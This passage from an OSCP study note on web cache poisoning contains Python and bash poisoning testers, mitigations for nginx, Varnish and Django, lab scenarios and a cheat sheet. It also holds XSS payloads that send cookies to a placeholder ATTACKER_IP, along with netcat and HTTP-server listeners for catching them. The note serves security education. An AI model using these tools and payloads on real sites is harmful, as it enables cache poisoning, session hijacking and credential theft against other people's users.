        if not self.test_header_reflection(url, header_name, test_value):
            return False, "Header not reflected"

        # Step 2: Send poisoning request
        poison_headers = {header_name: payload}
        try:
            self.session.get(url, headers=poison_headers, timeout=10)
        except:
            return False, "Poisoning request failed"

        # Step 3: Wait for cache to store
        time.sleep(1)

        # Step 4: Send clean request
        try:
            r = self.session.get(url, timeout=10)
            if payload in r.text:
                return True, "Cache poisoned successfully!"
            return False, "Cache not poisoned"
        except:
            return False, "Verification request failed"

    def run_full_test(self, url):
        """Run comprehensive cache poisoning tests"""
        print(f"\n{'='*60}")
        print(f"Testing: {url}")
        print(f"{'='*60}")

        # Check cacheability
        if not self.is_cacheable(url):
            print("[INFO] Response is not cacheable (no-store or private)")
            return

        # Check Vary headers
        vary = self.get_vary_headers(url)
        print(f"[INFO] Vary headers: {vary}")

        # Test common headers
        test_headers = [
            'X-Forwarded-Host',
            'X-Forwarded-Proto',
            'X-Original-URL',
            'X-Host',
            'X-Forwarded-Scheme',
            'X-Test-Header',
        ]

        xss_payload = "<script>alert('CACHE_POISON')</script>"

        for header in test_headers:
            print(f"\n[TEST] Testing {header}...")
            vulnerable, message = self.test_cache_poisoning(url, header, xss_payload)
            if vulnerable:
                print(f"[VULNERABLE] {header}: {message}")
            else:
                print(f"[SAFE] {header}: {message}")

# Usage
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cache_poison_tester.py <URL> [proxy]")
        sys.exit(1)

    url = sys.argv[1]
    proxy = sys.argv[2] if len(sys.argv) > 2 else None

    tester = CachePoisoningTester(url, proxy)
    tester.run_full_test(url)

Using curl for Quick Testing

#!/bin/bash
# Quick cache poisoning test script

TARGET="$1"
HEADER="$2"
PAYLOAD="$3"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <URL> <HEADER_NAME> <PAYLOAD>"
    exit 1
fi

echo "=== Step 1: Test header reflection ==="
curl -s -H "$HEADER: TESTVALUE123" "$TARGET" | grep -o "TESTVALUE123"
if [ $? -eq 0 ]; then
    echo "[+] Header is reflected!"
else
    echo "[-] Header not reflected"
    exit 1
fi

echo ""
echo "=== Step 2: Poison the cache ==="
curl -s -H "$HEADER: $PAYLOAD" "$TARGET" > /dev/null
echo "[+] Poisoning request sent"

echo ""
echo "=== Step 3: Verify poisoning ==="
sleep 1
RESPONSE=$(curl -s "$TARGET")
if echo "$RESPONSE" | grep -q "$PAYLOAD"; then
    echo "[VULNERABLE] Cache is poisoned!"
else
    echo "[SAFE] Cache not poisoned"
fi

7. Mitigation Strategies

7.1 Proper Vary Headers

The Vary header tells the cache which request headers to include in the cache key.

Correct Usage:

# If response varies based on Accept and Accept-Language
Vary: Accept, Accept-Language

# If response varies based on any header, use *
Vary: *

# Common Vary headers
Vary: Accept-Encoding          # Always include for compression
Vary: Accept-Language          # If localization is used
Vary: Cookie                   # If response varies by user
Vary: Authorization            # If response varies by auth

Implementation:

# Flask example
from flask import request, make_response

@app.route('/api/data')
def get_data():
    response = make_response(jsonify(data))
    # Add Vary for headers that affect the response
    response.headers['Vary'] = 'Accept, Accept-Language, X-Forwarded-Host'
    return response

# Django example
from django.http import JsonResponse

def my_view(request):
    response = JsonResponse(data)
    response['Vary'] = 'Accept, X-Forwarded-Host'
    return response

7.2 Cache Key Normalization

Ensure the cache key includes all request components that affect the response.

Nginx Configuration:

# Include all relevant components in cache key
proxy_cache_key "$scheme$proxy_host$request_uri$http_x_forwarded_host$http_accept";

# Or use a more comprehensive key
proxy_cache_key "$scheme$proxy_host$request_uri$cookie_session";

Varnish Configuration (VCL):

sub vcl_hash {
    hash_data(req.url);

    # Include query string
    if (req.http.Accept-Encoding) {
        hash_data(req.http.Accept-Encoding);
    }

    # Include custom headers that affect response
    if (req.http.X-Forwarded-Host) {
        hash_data(req.http.X-Forwarded-Host);
    }

    if (req.http.Accept-Language) {
        hash_data(req.http.Accept-Language);
    }
}

7.3 Input Validation

Never reflect untrusted input without validation and sanitization.

Python Example:

import html
from urllib.parse import quote

def safe_reflect(value, max_length=100):
    """Safely reflect user input in HTML"""
    # Truncate
    value = value[:max_length]
    # HTML-encode
    value = html.escape(value, quote=True)
    return value

# Usage
forwarded_host = request.headers.get('X-Forwarded-Host', '')
safe_host = safe_reflect(forwarded_host)
response = f"<p>Host: {safe_host}</p>"

Allowlist Approach:

ALLOWED_HOSTS = {
    'app.com',
    'www.app.com',
    'api.app.com',
}

def validate_host(host):
    if host in ALLOWED_HOSTS:
        return host
    return None  # Reject unknown hosts

7.4 Cache Isolation

Separate cached content for different contexts.

Strategy 1: User-Specific Caching

# For authenticated users, use private caching
Cache-Control: private, max-age=3600
Vary: Cookie, Authorization

Strategy 2: Role-Based Caching

# Different cache keys for different user roles
def get_cache_key(request):
    base_key = f"{request.method} {request.build_absolute_uri()}"
    user_role = request.user.role if request.user.is_authenticated else 'anonymous'
    return f"{user_role}:{base_key}"

7.5 Short TTL for Dynamic Content

Use short Time-To-Live values for content that changes frequently or contains user-specific data.

# Short TTL for dynamic content
Cache-Control: public, max-age=60

# No caching for highly dynamic content
Cache-Control: no-store, no-cache, must-revalidate

# Stale-while-revalidate for better UX
Cache-Control: public, max-age=0, stale-while-revalidate=60

7.6 Bypass Caching for Authenticated Responses

# Django middleware example
class NoCacheForAuthMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        if request.user.is_authenticated:
            response['Cache-Control'] = 'no-store, no-cache, must-revalidate, private'
            response['Pragma'] = 'no-cache'
            response['Expires'] = '0'
        return response

# Nginx configuration
map $http_cookie $no_cache {
    default 0;
    "~*session_id" 1;
}

proxy_cache_bypass $no_cache;
proxy_no_cache $no_cache;

Mitigation Summary Table

Strategy Implementation Effectiveness Complexity
Proper Vary headers Add all varying headers High Low
Cache key normalization Include all relevant components High Medium
Input validation Sanitize all reflected input High Low
Cache isolation Separate caches by context Medium Medium
Short TTL Reduce cache duration Medium Low
Bypass auth caching No-cache for authenticated High Low
Content Security Policy Restrict script sources Medium Low
Subresource Integrity Verify script integrity Medium Medium

8. OSCP-Specific Tips and Lab Scenarios

OSCP Exam Relevance

Web cache poisoning is a client-side attack that can lead to:

  1. Cross-Site Scripting (XSS): The most common impact
  2. Session Hijacking: Stealing cookies via XSS
  3. Credential Theft: Redirecting login forms
  4. Privilege Escalation: Admin visits poisoned page

Common OSCP Lab Scenarios

Scenario 1: DVWA / bWAPP Cache Poisoning

Target: Application with custom header reflection

Steps:

  1. Identify cacheable endpoints (check Cache-Control)
  2. Test custom header reflection
  3. Craft XSS payload
  4. Verify cache poisoning
  5. Steal admin cookie

Payload:

X-Forwarded-Host: "><script>document.location='http://<ATTACKER_IP>/steal?c='+document.cookie</script>

Scenario 2: Custom Web Application

Target: Internal web app with Nginx reverse proxy

Steps:

  1. Enumerate endpoints
  2. Find cacheable responses
  3. Test X-Original-URL header
  4. Poison cache with XSS
  5. Wait for admin to visit

Detection:

# Check for cache headers
curl -I http://target/app/page
# Look for: X-Cache, Cache-Control, Vary

Scenario 3: API Endpoint Poisoning

Target: JSON API with format parameter

Steps:

  1. Find API endpoint with query parameters
  2. Test parameter reflection
  3. Poison via query string
  4. Extract sensitive data

OSCP Tips

  1. Always check cache headers first:

    curl -I http://target/page
    # Look for Cache-Control, Vary, X-Cache
  2. Test common headers systematically:

    X-Forwarded-Host
    X-Forwarded-Proto
    X-Original-URL
    X-Host
  3. Use Burp Repeater for efficient testing:

    • Send request to Repeater
    • Add custom header
    • Check response for reflection
    • Remove header and resend
    • Compare responses
  4. Set up a listener for cookie theft:

    # Simple Python HTTP server
    python3 -m http.server 80
    
    # Or use netcat
    nc -lvnp 80
  5. Document your findings:

    • Screenshot the poisoning request
    • Screenshot the poisoned response
    • Show the cache headers
    • Demonstrate the impact

Common Mistakes to Avoid

Mistake Consequence Fix
Not checking Vary header False positives Always check Vary first
Not verifying cache storage Invalid proof Send clean request to verify
Using wrong payload Detection/Blocking Test with simple values first
Ignoring Content-Type Payload not executed Match payload to content type
Not setting up listener Can’t capture cookies Set up listener before attacking

Practice Commands

# Quick cache check
curl -I http://target/page | grep -iE "cache|vary|x-cache"

# Test header reflection
curl -H "X-Test: VALUE123" http://target/page | grep "VALUE123"

# Verify poisoning
curl -H "X-Forwarded-Host: POISON" http://target/page > poisoned.html
curl http://target/page > clean.html
diff poisoned.html clean.html

# Set up cookie listener
python3 -c "import http.server; s=http.server.HTTPServer(('',80),http.server.SimpleHTTPRequestHandler); s.serve_forever()"

9. Quick Reference Cheat Sheet

Cache Poisoning Checklist

□ 1. Identify cacheable endpoints
   - Check Cache-Control: public
   - Check for X-Cache headers
   - Check Vary headers

□ 2. Find reflection points
   - Test custom headers
   - Test query parameters
   - Test path segments
   - Test cookie values

□ 3. Verify cache key mismatch
   - Send request with malicious input
   - Send request without malicious input
   - Compare responses

□ 4. Craft exploit
   - XSS payload for HTML responses
   - JSON injection for API responses
   - Redirect for Host header attacks

□ 5. Verify impact
   - Set up listener
   - Wait for victim request
   - Capture stolen data

Common Payloads

// Basic XSS
<script>alert('XSS')</script>

// Cookie theft
<script>document.location='http://ATTACKER_IP/steal?c='+document.cookie</script>

// Image-based (for attribute contexts)
<img src=x onerror=alert('XSS')>

// Event handler (for HTML contexts)
"><script>alert('XSS')</script>

// JSON injection
"};alert('XSS');//

Key Headers to Test

X-Forwarded-Host
X-Forwarded-Proto
X-Original-URL
X-Host
X-Forwarded-Scheme
X-Forwarded-Port
X-Real-IP
X-Cluster-Client-IP
Forwarded
X-Test-Header

Cache Headers Reference

# Cacheable
Cache-Control: public, max-age=3600

# Not cacheable
Cache-Control: no-store
Cache-Control: private

# Revalidate
Cache-Control: no-cache
Cache-Control: max-age=0, must-revalidate

# Vary headers
Vary: Accept-Encoding
Vary: Accept-Language
Vary: Cookie
Vary: *

10. References and Further Reading

Official Documentation

PortSwigger Web Security Academy

Tools and Resources

  • Cross-Site Scripting (XSS)
  • HTTP Header Injection
  • Open Redirect
  • Server-Side Request Forgery (SSRF)
  • Content Security Policy Bypass

This study note is designed for OSCP exam preparation. Practice these techniques in authorized lab environments only.